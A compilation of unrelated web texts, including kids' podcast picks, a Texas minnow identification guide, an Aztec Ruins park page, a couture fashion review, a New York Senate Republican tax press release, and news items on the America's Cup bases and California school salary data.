Produced by ABC News Australia, Short and Curly is an ethics podcast for kids and parents that poses moral dilemmas and probing—or in Aussie lingo, “curly”—questions and gives listeners time to discuss them together. On the way home from the Grand Canyon, we listened to a show about pugs (is it humane to breed dogs whose short snouts make it hard to breathe?) and, in a compelling mock reenactment of the Titanic, the morality of saving kids’ lives over adults’. Cohosted by award-winning science journalist Carl Smith and Australian actress and filmmaker Molly Daniels, Short and Curly addresses subjects ranging from science to sports, wildlife to technology. And at just about 20 minutes long, it’s succinct, as advertised, never preachy, and funny. Bonus: an Aussie ethics expert chimes in with helpful perspectives.
The Unexplainable Disappearance of Mars Patel
Winner of the 2016 Peabody Award, this serialized mystery podcast is performed by kids for kids. The namesake protagonist, an Indian American middle schooler, teams up with his friends to investigate the link between missing children and a shady billionaire. Plenty of sci-fi elements keep the mystery moving forward, ensuring that kids—and their grown-ups—will be hooked from the start. Now in season three, the audio episodes are short (15 to 25 minutes long) and fast-paced, ideal for action-obsessed listeners.
Invisibilia
For ages 11 and up
As a young girl, I was obsessed with the television series In Search of… about eerie natural phenomena like Pompeii, Bigfoot, and the Bermuda Triangle. Kids these days are just as hooked on the weird hidden forces that shape our lives. Enter Invisibilia, NPR’s narrative storytelling podcast for grown-ups that’s chockablock with strange-but-true tales about the unseeable things that affect our behavior, beliefs, and assumptions—like the latest neuroscience research on emotions; ways in which we see reality (and in one story, bears) differently; and “I, I, Him,” about the stories we tell about ourselves to overcome difficult obstacles. Cohosted by Hanna Rosin and Alix Spiegel, of This American Life and The Atlantic, respectively, this 45-minute show is clever and compelling.
Storynory
The younger set will groove on this read-aloud podcast, which features original stories about birds, pirates, and plucky monkeys, as well as classic fairy tales by Hans Christian Andersen, Aesop, and the Brothers Grimm. Only 15 to 20 minutes long, the dramatic tales suit shorter attention spans or those who tend to doze off midstory for their nap (guilty).
For older kids asking bigger questions, Krista Tippet’s On Being may just be the answer. On a recent backcountry hut trip in Colorado, we listened to Tippet’s 2015 interview with the late, great poet Mary Oliver. Some of it, including allusions to Oliver’s difficult childhood, was over their heads, but Tippet, who covers mindfulness, spirituality, science, and art, approaches her subjects with thoughtful consideration, humility, and a lot of heart. Afterward, I asked the girls and their seven-year-old friend to share something they’d learned. Oliver lived in Florida and loved nature, one of them said. She stood at her door every morning with her notebook in hand and wrote, another recalled. She collected shingles at the dump on the day she won the Pulitzer. The message of this episode, and much of On Being, is that if you pay attention, you’ll see that life is filled with ordinary, beautiful moments—many of them beautiful because they are so ordinary.
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Wednesday 5 June until Saturday 8 June 7.30pm
SMP present Much Ado About Nothing
Bury Lodge Park, Bury Street West, N9 9LA
We’re very pleased to announce that our show for 2019 will be another first for SMP as we will stage an ambitious promenade performance through Bury Lodge Park of one of Shakespeares most popular plays, Much Ado About Nothing.
What’s a promenade performance? We hear you ask. Well, we’ll tell you;
We plan to produce an immersive, intimate and personal performance. As our audience arrive they become part of the ensemble and as the story flows they move through the park as one of Leonato’s, our play’s hosts, guests.
Our production will be unique to each audience member as they choose how they view the performance. The show will be free flowing, natural and organic with little or no barrier between cast and audience instead of a traditional audience and cast divide.
There will be no fourth wall, the audience will be guided toward the action, some of which will take part amongst them some which is more classically staged but the audience are free to move and view the performance however they choose. The abridged version of the play will contain music and dancing and promises to be a unique experience.
Intrigued? We hope so!
Due to the nature of the performance audience numbers will be limited per show so you’re advised to book early.
Click here to book tickets.
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National Recreation Area Texas
Minnows and Carps
Family: Cyprinidae
Genus: 3 or more
Across the world there is a huge variety of fish in the family Cyprinidae. Frankly, they can be very hard to tell apart even with an experts assistance. So don’t feel bad if they are difficult to identify. They're found across all sorts of rivers and lakes are most likely what you're seeing swimming around on the banks of your local lake.
Terminal or subterminal mouths
Possess only 1 dorsal fin (Tetras have an adipose fin)
Forked caudal fins (sheepshead minnows have truncate)
When visible, the lateral line will run either horizontal, or ventral instead of dorsal
Blacktail Shiner
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(Cyprinella venusta)
This recognizable minnow is found in both small and large moving streams throughout every drainage in Texas. Female blacktail shiners have been observed making mating calls to attract males, but despite this, often end up hybridizing with red shiners, in part due to their indentical spawning season, April through September.
The blacktail gets its name from its distinct black spot before the base of the caudal fin, which is usually larger and more prominent than other local minnow. It has a visible lateral line that curves down.
Red Shiner
(Cyprinella lutrensis)
Research has shown that red shiners are most numerous where few other kinds of fish occur, likely due to their high tolerance for harsh conditions. Although widespread, tolerant, and highly invasive, red shiners have declined sharply, possibly due to habitat modification and predation. They have been extirpated (removed) from many of the ecosystems they once invaded.
Red shiners have a purple triangle shaped bar above pectoral fins, and behind their opercle. Dark pigment surrounds dorsal scales, and breeding males have bright red fins.
Texas Shiner
(Notropis amabilis)
This small silvery minnow is usually found in relatively large and tight school in fast moving streams and rivers. They mostly feed on aquatic insects and algae that they pick out of the water column. Some estimates indicate as much as 75% of their diet consists of these two sources.
The texas shiner has dark melanophores that line the terminal mouth. Its eyes are larger than its snout, and it has a dark mid dorsal stripe (running along the top ridge). The midlateral stripe is faint, and seperated from the dorsal pigment by a clear, light colored stripe.
Tamaulipas Shiner
(Notropis braytoni)
This species has long been on the list of endangered fishes, mostly due to introduction of non-natives to its natural habitat. Most recently it has seen increases in population in Big Bend and the Rio Grande, but in Amistad, the fish still struggles to find a “fin” hold.
A black midlateral stripe ends just before a black spot that lies just beyond the caudal fin base. The midlateral strip is often faded toward the head and more visible toward the tail. You can often see the lateral line curve down through the midlateral stripe as well.
Sand Shiner
(Notropis stramineus)
This species is widespread across the east coast, and can be found locally within the Rio Grande and Big Bend, as well as much of the Edwards Plateau. Due to their tolerance for low oxygen, their favorability of dry foods, and ease of travel, these shiners are ideal for scientific research and bioassay.
Sand shiners have a dark mid dorsal stripe and a visible lateral line that is dark and double dashed. Their mid lateral stripe will curve slightly upward at the base, or be straight, following the lateral line. May sometimes possess a triangular caudal spot.
Manantial Roundnose Minnow
(Dionda argentosa)
The manantial round nose is sympatric with the devils river minnow. This means that they were originally a single interbreeding population that was separated (likely by some very complex climate and geology related event). After an extended period of seperation, they evolved into two distinct, non-breeding species before being reunited.
Much like its sympatric species, the manantial round nose also has a small black spot before the base of the caudal fin, but it is much smaller. It also has a dark midlateral strip running the entire length of the body, and no melanophores lining its scales.
Devils River Minnow
(Dionda diaboli)
Endemic only to the devils river and a few nearby waterways, this small fish is now considered critically endangered. Due to the reduced spring flow of the Edwards aquifer, introduction of species like the armoured catfish, and a drop in water quality, the Devils river minnow is struggling to maintain a healthy population. There are many efforts to help maintain their population, many of which have positive lasting effects on other at-risk species
Can be differentiated from the manantial roundnose minnow by the dark melanophores that surround its diamond shaped scales. The caudal spot is also wedge shaped instead of round.
Golden Shiner
(Notemigonus crysoleucas)
If this fish looks familiar, it's because it’s the most popular bait fish in North America. And that is very likely why it is here in Amistad. Bait release has led to it being one of the most widespread species within the continental U.S.
The golden shiner has a black midlateral stripe in juveniles that fades in adulthood. Its lateral line curves down very deeply. It has a unique terminal pointed mouth, as well as a longer anal fin, and more rays than local shiners. Max size can reach larger than many similar species, as much as 14 inches.
Suckermouth Minnow
(Phenacobius mirabilis)
The suckermouth is not often found in the gulf slope drainages of Texas, but can be found readily in the Pecos drainage. Primarily including insect larvae, and detritus. These fish are usually found in high current lakes and rivers, probing the substrate to find food. They are often used as bait fish in northern states.
Suckermouth minnow possess a rounded snout with eyes positioned high on the head. Their mouth will always be inferior (as opposed to the subterminal bullhead minnow). Most will have a dark midlateral stripe that ends with a small caudal spot (usually square in shape).
Bullhead Minnow
(Pimephales vigilax)
Commonly used as a bait fish across the U.S., the bullhead minnow will often serve as a large portion of gamefish diet as well. While these fish are excellent tank fish, they are not often used for research purposes as they get nerves easily.
Bullhead minnow always have rounded snouts, terminal or subterminal mouths, and a midlateral stripe that forms vaguely near the head and becomes finer toward the tail. It should end just before a faint caudal spot. Dorsal fin often hosts a black blotch toward the head.
Central Stoneroller
(Campostoma anomalum)
The central stoneroller gets its name from its feeding behavior. They can often be seen travelling in schools using their cartilaginous lower jaw to feed on algae and small particles on stones. These fish are most often found in the drainages of the Edwards plateau,but can be found as far west as the Devils River.
The central stoneroller has a blunt rounded snout. It will also have a somewhat dark midlateral stripe that runs to a caudal spot but can be absent in adults.
Gray Redhorse
(Moxostoma congestum)
The Gray Redhorse, like many bottom feeding fish, has been plague by habitat degradation for years. This species, however, persists in systems disturbed by low-head dam and reservoir construction due to their opportunistic feeding strategy which allows them to adapt to systems such as Amistad.
Breeding males will have orange and yellow fins. Gray redhorse should also have dark black membranes between rays on the dorsal and caudal fins. They will have an inferior mouth as well.
River Carpsucker
(carpiodes carpio)
These fish are primarily benthic feeders, meaning they feed at the lowest depths of the system they inhabit. Their most common food sources are plankton, rotifers, and algaes. They usually prefer sandy or muddy substrates, and turbid waters, but can be found in fast moving and clear stream as well.
The river carpsucker should have a distinctly triangular subopercle corner, just above the pectoral fin. It also has a completely inferior mouth, differentiating it from the smallmouth buffalo.
Smallmouth Buffalo
(Ictiobus bubalus)
This fish most commonly consumes zooplankton and algae, but have been known to feed on small crustaceans, larvae, and diatoms. Due to its rapid rate of growth early in life, this fish is commonly used as a farm fish. It is used for human consumption as well as farm feed across the U.S. It can be found across most of the country, but here it will most likely be found in fast moving streams of the Pecos and Rio Grande.
The smallmouth buffalo is differentiated from the river carpsucker by its rounded opercle and sub terminal mouth.
(Cyprinus carpio)
This fish is widely regarded as one of the most invasive fish in North America. Introduced to the U.S. in the 1870’s, it has spread across much of the southern United States today. While most western states have seen numbers drop, it can be found statewide in Texas. The carp is a harmful species as it is notorious for disturbing substrates and kicking up particles while feeding, which can cause problems for many varieties of aquatic life.
Mouth can be terminal on juvenile carp, and can have short barbels on either side.
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Aztec Ruins
National Monument New Mexico
See Earl's house! The visitor center started as the home of pioneering archeologist Earl Morris. Here you can pay any entrance fee, receive an orientation to the archeological site, and pick up a trail guide. See beautiful 900-year old artifacts in the museum. Watch the 15 minute video, Aztec Ruins: Footprints of the Past, to hear diverse perspectives from Pueblo people, Navajo tribal members, and archeologists.
The Aztec West self-guided trail winds around kivas and into rooms.
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Aztec West Self-Guided Trail
Explore the ancestral Pueblo "Great House" that was the social, economic, and political center of the region after Chaco. A self-guided half-mile walk winds through original rooms. Along the way discover skillful stone masonry, remarkably well-preserved wood roofing, and original mortar in some walls. The interpretive trail guide combines modern archeological findings with traditional Native American perspectives. Enter the ceremonial Great Kiva. This awesome semi-subterranean structure, over 40 feet in diameter, is the oldest and largest reconstructed building of its kind.
Junior Rangers talking about their activity sheets with a ranger to earn their badges.
Junior Ranger
Kids, become a Junior Ranger and pledge to protect every national park! Free activity sheets for all ages are available at the visitor center. You earn a badge for completing the activities and discovering more about the ancestral Pueblo people.
You can also earn an Aztec Ruins Junior Ranger patch online!
Visitors observing a winter solstice sunset alignment with a ranger.
Interpretive Programs and Special Events
Rangers offer interpretive talks and tours at scheduled times May-September. Other activities include the evening lecture series in the summer, demonstrations of traditional American Indian arts, astronomy programs, and annual special events. The times and locations of these programs are posted about a month in advance on the calendar.
In the Heritage Garden sunflowers, corn, and amaranth all shoot toward the sky at the height of the season.
Heritage Garden and Native Plants Walk
The Heritage Garden and the Native Plants Walk are both inside the shady and historic picnic area. Traditional crops like corn, beans, squash, sunflowers, and gourds are grown by park staff and volunteers. Tours are offered in the summer. The Native Plants Walk is located on the west side of the picnic area near the parking lot. Take a quick stroll and see the wild plants that people in the Southwest have relied on for thousands of years.
A pedestrian bridge over the Animas River is part of the nationally designated Old Spanish National Historic Trail that runs between Aztec Ruins National Monument and the City of Aztec's historic downtown.
Old Spanish National Historic Trail to Downtown Aztec
The Old Spanish Trail was the first recorded trade caravan from Santa Fe, NM all the way to Los Angeles, CA. The first journey was led by Antonio Armijo in 1829, and it was so difficult the traders never took that exact same route again! As you can imagine, it is tricky to find the trail on the ground today, and we really don't know how close the caravan actually came to Aztec Ruins. Today you can follow the nationally desginated trail from the picnic area, over the bridge across the Animas RIver, and into historic downtown Aztec for shopping and dining.
Picnic area to the Animas River- 1/2 mile
Picnic area to historic downtown Aztec- 1 1/2 miles
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A few clouds from time to time. A stray shower or thunderstorm is possible. Low around 70F. Winds light and variable.
Tori Kelly's new album 'most vulnerable' to date
Tori Kelly's upcoming album is her "most vulnerable album to date".
The 26-year-old singer is set to release her record, 'Inspired by True Events', next month, and has said the album includes some "really personal songs" that explore her life over the last couple of years.
She said: "It's definitely my most vulnerable album to date. It's called Inspired by True Events, and I'm just kind of opening up about the last couple years [and] some of the things that have gone down in my personal life. It's just really, really personal songs. I poured my whole heart into it and I'm excited for people to hear."
Tori endured the passing of her grandfather and the break-up of her parents recently, and says the record "goes pretty deep" as she drew on the painful events for inspiration.
But the 'Change Your Mind' singer also got the chance to reflect on her marriage to Andre Murillo, whom she married in 2018.
Speaking to 'Entertainment Tonight' at the 2019 ESPY Awards on Wednesday (10.07.19), she said: "[It] goes pretty deep. A lot of it is centred around family. My grandpa passed away recently. My parents actually split up recently. A happier note, I got married recently. So there's these kind of emotions that were swirling around in my head and in my heart, and I didn't know what else to do with that other than to put that into my music, so that's kind of how this album came to be."
'Inspired by True Events' is set to be released on August 9.
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Story of X
by Susanna Moore
Knopf, 180 pp., $21.00
Susanna Moore is the author of three previous novels, set for the most part in her native Hawaii: My Old Sweetheart (1982), The Whiteness of Bones (1989), and Sleeping Beauties (1993). Each is a novel of substance and achievement in the fullest Hawthornian sense—rich with “minute fidelity” to the socially ambiguous, physically seductive world, narrated with sensitivity and intelligence by young women who have broken with their mesmerizing pasts. Of the three, My Old Sweetheart is perhaps the most delicately realized, an elegiac reminiscence of an island childhood passed under the spell of the narrator’s charismatic but mentally unstable mother, who eventually kills herself. My Old Sweetheart is one of those elusive, shimmering works of fiction, bold, impressionistic, subtle, and mysterious, that resist paraphrase and summary, like Marilynne Robinson’s equally haunting first novel, House-keeping; like the prose of Katherine Mansfield, Virginia Woolf, the early stories of Eudora Welty. One is reminded too of Jean Rhys’s master-piece Wide Sargasso Sea, with its obsessive lyricism and mounting dread. The poisoned paradise of subtropical islands, for those of white skin! My Old Sweetheart evolves into something of a mystery as the narrator searches for her eccentric physician-father who seems to have disappeared into Cambodia as a medical relief worker, but the mystery is never resolved.
Perhaps because more structurally ambitious, with many more characters and settings, and many more discursive prose passages, Moore’s other two novels are less certain achievements; as if, in exorcising the spell of an island childhood, the author were casting off its power to spellbind as well. Yet, for the writer, there is no direction other than forward, outward. The historical/mythological/archetypal heritage of the past, however richer than the contemporary civilization beyond the island, is simply too much of a burden to be borne. Moore’s young women protagonists initiate themselves sexually as a way of self-definition, but the initiations are not always edifying. Mamie of The Whiteness of Bones thinks uneasily, in the minutes before, in fact, she is clumsily assaulted in a Chicago hotel room:
She had always suspected that the mistake of feminism was its refusal to admit the superior, undeniably superior, strength of men—not economic or political strength, that was another thing altogether—but the simple fact that at any moment, [a man] could reach over and snap her narrow wrist in two.
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3.12.19 - Tax Relief NOW! Senate Republicans Say Budget should be Balanced Without New Taxes – Also Propose Cutting Current Taxes to Fix NY’s Affordability Crisis, Spur Job Creation
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Albany, NY — Senate Republican Leader John J. Flanagan and members of the Senate Republican Conference today highlighted the potential negative consequences of the high-tax agenda being advanced by Governor Cuomo and Senate Democrats as part of negotiations over the new state budget, and also called for the inclusion of real and meaningful tax relief to help reverse New York’s growing affordability crisis.
“The last time Senate Democrats were in the Majority, they increased taxes 124 times, totaling $14 billion. For the sake of our taxpayers, I hope and pray that history won’t repeat itself. Instead, it seems like our colleagues across the aisle can never fail in coming up with new ways to tax more and more – all while our overburdened residents continue to flee New York in record numbers because we already rank among the worst in the nation in terms of affordability. I proudly stand with my Senate Republican colleagues today to remind the Governor and Legislative Democrats that it’s not too late to do the right thing. Instead of passing a budget that raises taxes on hardworking, middle-class taxpayers, we should be promising them the real, meaningful tax relief they deserve,” said Senate Republican Leader John J. Flanagan.
“Outmigration is a real problem in New York State, and the only way to stop it is to end the fascination with new taxes and higher spending. I am hearing from a growing number of people who are on the verge of being forced from their homes, farmers forced to sell their herds, and small business owners who are closing their doors because they simply can’t afford New York’s out-of-control taxes. As we enter the final weeks of budget negotiations, we need to forget the gimmicks and delete all new taxes from the conversation. Affordability, tax relief, and measures that will encourage job growth must be priorities,” said Senate Finance Committee Ranking Republican Senator James L. Seward.
“I used to think ‘Escape from New York’ was just a movie – but with a million New Yorkers leaving the state in the last ten years, it appears that fiction has become reality. The cause of this exodus is clear. Whatever the purpose, New Yorkers simply can’t afford another penny in taxes,” said Senator Rich Funke.
“New York’s population is bleeding out. Our families, our business owners, and our workers are bleeding out of our state in search of better opportunities, into the welcoming arms of states like Florida, Texas, Arizona, North Carolina and Georgia, because they can't afford to live here. We must stop the bleed, and it starts with affordability. It starts with putting taxpayers first. Our colleagues on the other side of the aisle would rather focus on making plastic bags illegal, giving drivers’ licenses to illegal immigrants, and forcing taxpayers to foot the bill for political campaigns. The Senate Republican Conference is the only conference focused on cutting taxes and making New York more affordable. We can’t tax our way into a better business climate. We need to make it easier, not harder for those gutting it out on Main Street, NY to survive. That’s where my focus is, that's where our conference’s focus is, and that’s where the focus of the Governor, the New Senate Majority, and the Assembly should be,” said Senator Fred Akshar.
A recent study by the Tax Foundation found that New York holds the unfortunate position of number one in the nation in combined state and local income tax burden. The non-partisan think tank also concluded that New York ranks 48 out of 50 when it comes to overall business tax climate, a distinction only worsted by California and New Jersey.
In 2009-10, New York was controlled by one-party government. During that time, Senate Democrats raised taxes 124 different times, totaling $14 billion, including enactment of the job-killing MTA payroll tax and elimination of the STAR rebate checks for seniors and homeowners. Senate Democrats and their Democrat colleagues in the Assembly and Executive Branch have recently proposed a plethora of new taxes and tax increases, such as:
A new tax on internet purchases, which would force consumers who value convenience to pay even more in taxes;
Revival of a regressive tax on the sale of prescription drugs, a measure recently deemed unconstitutional by a federal judge, as it would’ve hurt medically-ill consumers first and foremost;
A tax on legalized recreational marijuana, which may or may not pass final muster in the state budget, but has been debated by Albany politicians without any consideration for public health;
Taxpayer-funded political campaigns, a handout that has been called “welfare for politicians,” and will force hardworking New Yorkers to spend up to $200 million on the campaigns of Albany politicians; and
“Congestion Pricing,” or a new, unfair scheme that would target suburban New Yorkers already weighed down by the crushing burden of high income taxes, high property taxes, and a high cost of living.
Since 2011, Senate Republicans cut taxes 88 times and delivered $12 billion in new tax relief. Last year alone, Senate Republicans rejected $20 billion in new taxes proposed by the Governor and Assembly Democrats.
Senate Republicans are opposed to any and all tax proposals that take aim at the middle-class, and strongly believe that the budget deficit can and should be eliminated without raising taxes.
A better path to increase affordability for all New Yorkers would include:
Protection of the historic Middle Class Income Tax Cut, a measure that has already saved New Yorkers $770 million, and is one of the largest and most important tax cuts in state history;
A permanent property tax cap, currently a temporary policy that has helped save taxpayers $37 billion since its inception, but has little support in the Democrat-dominated State Assembly;
Full funding and an extension of the successful Property Tax Relief Check program, a Senate Republican-won measure passed to ensure that middle-class families get to keep more of their hard-earned money. Following approval of this year’s budget, the average check size taxpayers will receive totals $532, money that will go away if Democrats let the program lapse; and
Implementing significant business and energy tax cuts and regulatory reforms so that there are fewer obstacles to creating new jobs in New York.
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Fashion|Couture Tries to Find Its Place in the Real World
Couture Tries to Find Its Place in the Real World
In Paris, from the house of Chanel, tropical looks seem to dream of a warmer time, in a show in an arboretum of white cardboard palms.CreditCreditValerio Mezzanotti for The New York Times
By Vanessa Friedman
PARIS — Sometimes it seems as if the first month of the new year is one giant runway show — and that’s before you even get to the official collections.
Between the red-carpet goddess-gown extravaganzas of the Golden Globes and the Screen Actors Guild Awards, Nike’s debut of its (tennis) dresses at the Australian Open, the first lady’s sartorial diplomacy in India, and Sunday’s Super Bowl, with Moschino outfitting Katy Perry for the halftime show, a consumer could be forgiven for feeling as if life itself had become an endless catwalk. Which raises some meaningful questions about the purpose of the official fashion season. Especially the couture.
From Dior, full-skirted 1950s looks.CreditValerio Mezzanotti for The New York Times
Couture?
Oh, yeah: that most rarefied of fashion forms, clothes that are made to order by hand for the 0.001 percent who can afford them. But aren’t they less relevant to our lives than that Bibhu Mohapatra coat Mrs. O wore to meet Prime Minister Narendra Modi? The neon backless number Serena Williams sported to crush Belgium’s Alison Van Uytvanck in Melbourne?
These are issues that have not been lost on the designers themselves. As Pierpaolo Piccioli and Maria Grazia Chiuri of Valentino, a design team that tends to speak, as it works, in one voice, said before their show, “Fashion has to reflect and respond to the times you are living in.” Even the most seemingly removed-from-reality kind of fashion.
Indeed, in many ways Fashion Week told a tale of brands eschewing the escapism normally associated with couture, opting instead to connect it to the real world. At varying levels and degrees of success.
Evening frocks from Giambattista Valli.CreditValerio Mezzanotti for The New York Times
Sometimes they did it through geopolitics: See Ulyana Sergeenko’s nod to the folklore of her husband’s native Armenia and Georgia, with peacocks and pomegranates embroidered on midcalf skirts and the edges of neatly proportioned jumpsuits, not to mention a black lace gown, because “every other woman in the Caucasus is a widow.”
Or see Elie Saab’s ode to the Beirut of his youth — an effort, said Elie Saab Jr., “to remind the world that the Middle East is about more than war — it is about beauty.” At least as expressed in an Arabian Nights fantasia of feathers, sequins, lace and tulle. Or Giorgio Armani’s 10th anniversary Armani Privé, a graceful meditation on bamboo and the soft power of Asia. (Also known as one of the world’s most powerful global markets.)
Stalks were printed on whisper-thin silk gazar jackets and culottes, often tied with a karate-kid belt; woven into floor-sweeping organza cardigans and sparkling beaded tees; and embroidered in jet and silver onto cobalt blue slithers for evening. They gave new meaning to the idea of international relations.
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Elsewhere, personal politics came into play, as Bouchra Jarrar continued her mission to combine the street and the atelier in metallic houndstooth tweed cut by gold motorcycle zips, and the use of bristling paillettes on draped satin. And Jean Paul Gaultier chose to issue a treatise on the definition of marriage in 61 looks.
They came asymmetric, masculine, feminine; combined with denim, snakeskin and tulle; in the form of “le smoking” and leotards bedecked in flowers. Relationships exist in many forms, was the message. Should we not embrace them all?
Well, yes, but only if they seem genuinely committed, which some of the more jokey combinations (beekeeper bride?) did not. To wear your heart on your sleeve demands some nuance when it comes in the form of clothes.
From Giorgio Armani’s 10th anniversary Armani Privé.CreditValerio Mezzanotti for The New York Times
Or at least some unabashed optimism. Witness Valentino, where Mr. Piccioli and Ms. Chiuri sent out a love poem in many stanzas (read: styles) because “we believe in the future. You need hope.”
Combining references from the life of Marc Chagall (who, apropos of the situation today, was a Jewish-Russian immigrant who emigrated to France), Dante’s “Paradiso,” “Romeo and Juliet” and Virgil, they wove words and phrases, the sun and stars, into tulle; cross-stitched chiffon and shearling and linen; and otherwise put their argument where their atelier was.
There was not a cynical piece in the collection, and though some of the haute peasant layers veered close to the realm of costume, a black velvet gown, the bodice formed of two angel’s wings, truly took flight.
From Bouchra Jarrar, a metallic houndstooth tweed.CreditValerio Mezzanotti for The New York Times
It was one way to address the post-Charlie Hebdo free-floating anxiety that has become part of the pedestrian atmosphere: Rise above! Donatella Versace, however, proposed another.
“The world is such a difficult place right now, that I think women need clothes that are very precise, and focused, and let her be herself,” she said. In her hands, that translated as a restricted, almost patriotic, color palette (red, white and blue — and black and silver) and a play on the idea of curves, as originating from the female body itself.
Suit jackets were seamed to slide off the shoulder; dresses surgically sliced out to create peekaboo streams and rivulets (and occasionally overexposed oceans) of flesh on hips and backs; trousers flared to a triangular extreme; and skirts given a bias swirl at the hem — the whole decorated with custom-invented embroidered emojis symbolizing “freedom” and “finding a new path.”
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The latter sentiment being a nice idea if you can do it, as Raf Simons demonstrated at Christian Dior, where the entire show served as an exploration of how we got here from there — which is to say, from the “romance of the ’50s, the experimentation of the ’60s, the liberation of the ’70s.”
Full-skirted 1950s volumes in ribbon-trimmed pleats were topped by neat ’60s wool shells; sequin-encrusted minidresses appeared under transparent plastic coats printed with floral branches; graphic knit bodysuits were covered, barely, by wrap skirts and tanks; and traditional lace tea frocks came cut away at the sides and fastened by a silver ring.
Ideas built upon ideas, and while some meshed more successfully than others, the point was in the remix, which took its constituent parts out of the stasis (and stuffiness) of stereotype.
From left: the Jean Paul Gaultier show and Versace.CreditValerio Mezzanotti for The New York Times
There were exceptions, of course: designers who hewed to more traditional sources of inspiration, be it their own archives (the design team at Schiaparelli) or an imaginary meeting between Janis Joplin and Coco Chanel, as at Giambattista Valli.
Though that impossible encounter initially produced a triple punch of tailored, slightly flared “le smoking” trousers under sleeveless peplum tops or tulle silk dresses, topped by little black or white jackets, it later took a left turn and settled in a Cinecittà version of the Land of Sweets with sugar almond-tinted silk faille evening frocks enveloped by giant capes of many ruffles.
Pointedly, however, the actual house of Chanel seemed to dream of a warmer (other?) time, constructing a hothouse of tropical blooms in which to show a poesy of neat, midriff-baring suits. Sleeves and hemlines bloomed with a rainbow of iridescent, three-dimensional bouquets; rose-tinted lattice-woven chiffon sheaths appeared under matching chiffon shirtdresses; and multi-textured-and-tinted tweed echoed poppy fields as seen from above.
From the Valentino show.CreditValerio Mezzanotti for The New York Times
While some of the more botanically fecund dresses were a little close to the land of the flower fairies, over all the sweetness was balanced by the slouch of the cut, and the result had a palpably contemporary feel.
Perhaps the designer Karl Lagerfeld had global warming on his mind, or perhaps that’s overthinking the matter, but either way, when a viewer at the couture in January sees gowns and thinks issues instead of Oscars, you know it’s a complicated new world.
They’re just dressing people for it.
A version of this article appears in print on , Section ST, Page 1 of the New York edition with the headline: Braving a New World. Order Reprints | Today’s Paper | Subscribe
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Construction staff will have to work round the clock, six to seven days a week, to get the America's Cup facilities built by late next year when the syndicates arrive.
The tight time frame to build six new bases and house Team New Zealand in the Viaduct Events Centre on the Auckland waterfront is set out in a new resource consent application lodged today.
It follows tortuous negotiations between the Government, Auckland Council and Team New Zealand going back to November, numerous proposals and an earlier resource consent application being dropped when the parties finally agreed on a location last month.
The $212-million project has five bases on the eastern side of Wynyard Point, a 74m extension of Hobson Wharf for one base and Team New Zealand in the Viaduct Events Centre on Halsey Wharf.
The final plan for the America's bases on Wynyard Point, left, Halsey Wharf, centre, and an extension to Hobson Wharf, right.
Last month, it was announced that McConnell Dowell, Downer, Beca and Tonkin & Taylor would form an alliance to build the facilities for the cup.
Up to 150 workers will be on various sites over 18 months on a six-to-seven-day, 24-hour work programme. At night, worksites will be lit by 12m to 18m lighting poles with a similar brightness to rugby training grounds on council parks.
The lights, tilted parallel to the ground, will have a minor effect from light spill to new apartment blocks in Wynyard Quarter, nearby hotels and motorists, the application said.
To speed up work, the use of pre-cast concrete elements will be maximised.
The resource consent application is for 10 years - enough time for Auckland to host the 36th defence of the America's Cup in 2020-2021 and two more defences.
Economic Development Minister David Parker, who is responsible for the America's Cup.
Other features of the application include:
Four double base syndicates for two boats and three single-boat bases with temporary three-storey buildings about 15m high.
New breakwaters on Wynyard Wharf, Hobson Wharf and Halsey Wharf.
All syndicate bases will be temporary, with the exception of the Viaduct Events Centre. Each base will big enough for up to 110 staff and 500 people for corporate and other events.
Modifying the Viaduct Events Centre, including new doors on the eastern side and a mezzanine floor at the northern end for a sail loft.
Closing Brigham St on Wynyard Point to accommodate five bases.
Removal of tanks housing hazardous and other products operated by Stolthaven and BST at the southern end of Wynyard Point.
Panuku Development Auckland has lodged the application following last month's approval from the council's Governing Body of a new resource consent application for the final "Wynyard Hobson" proposal.
The resource consent application will be open for public submissions, expected to be from April 30 until May 28. A further application for the relocation of SeaLink and the commercial fishing fleet will be made once ongoing investigations on alternative location options are completed.
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Pomona Unified School District Building in Pomona, Ca., Thursday, September 13, 2017. The district is one of the 75 percent of K-12 employers in California who either did not release 2016 salary and benefits data for the state’s Government Compensation in California website, or provided incomplete data. Unlike for cities, counties and special districts, K-12 districts are not legally required to release the data under state law, and only do so voluntarily. (Photo by John Valenzuela/Inland Valley Daily Bulletin)
By Beau Yarbrough | byarbrough@scng.com | Inland Valley Daily Bulletin
PUBLISHED: November 8, 2017 at 1:06 pm | UPDATED: November 15, 2017 at 7:33 am
Salary and compensation data for 634,314 K-12 educators in California is online and updated for 2016, as of Wednesday. But your local educator’s data may be incomplete or unavailable.
Fewer than a quarter of the K-12 education employers fully complied with a request from State Controller Betty T. Yee’s office for data.
“While cities, counties, and special districts are required to report salary and benefits data to the State Controller, K-12 education employers are voluntary reporters,” Yee’s office said in a press release. “The State Controller’s Office requested data from 1,912 K-12 education employers, and 514 chose to report in the interest of transparency. Of those, 471 reports were complete. About 75 percent of K-12 education employers did not file the requested reports or provided incomplete information.”
Despite those gaps, the Government Compensation in California website now includes data from public school districts, charter schools, and county offices of education from across the state, including more than $25.55 billion in wages.
According to Yee’s website, the 471 fully complying employers provided data on 634,314 employees, who make an average of $40,294 in wages, for a total of $25,558,953,779 in wages and $6,798,681,111 in health and retirement costs.
In Southern California, most of those employers failing to release full data appear to be charter schools, although some public school districts also failed to release all of the information.
In Los Angeles County, 11 Aspire charter schools reportedly failed to provide Yee’s office with the full data requested, along with — among others — Azusa Unified, Bassett Unified, Bellflower Unified, Beverly Hills Unified, Centinela Valley Union High, Claremont Unified, Duarte Unified, East Whittier City Elementary, Eastside Union Elementary, El Rancho Unified, Garvey Elementary, Glendora Unified, Gorman Joint, Inglewood Unified, Keppel Union Elementary, 13 KIPP charter schools, La Cañada Unified, Lowell Joint, Lynwood Unified, eight Magnolia Science charter schools, Method Schools High, Monrovia Unified, Montebello Unified, Mountain View Elementary, Norwalk-La Mirada Unified, Paramount Unified, Pomona Unified, 12 PUC charter schools, San Gabriel Unified, San Marino Unified, Santa Monica-Malibu Unified, South Whittier Elementary, Westside Union Elementary and Wilsona Elementary.
In Orange County, a partial list of those Yee’s office says failed to fully release data includes Brea-Olinda Unified, Buena Park Elementary, Capistrano Unified, Fullerton Elementary, Irvine Unified and both Orange County campuses of Oxford Preparatory Academy.
“This was an unfortunate oversight on our part,” Capistrano Unified spokesman Ryan Burris wrote in an email. “The report was prepared this year just as previous years, but it was not submitted until this morning.”
Yee’s office made full compliance difficult, according to Irvine Unified.
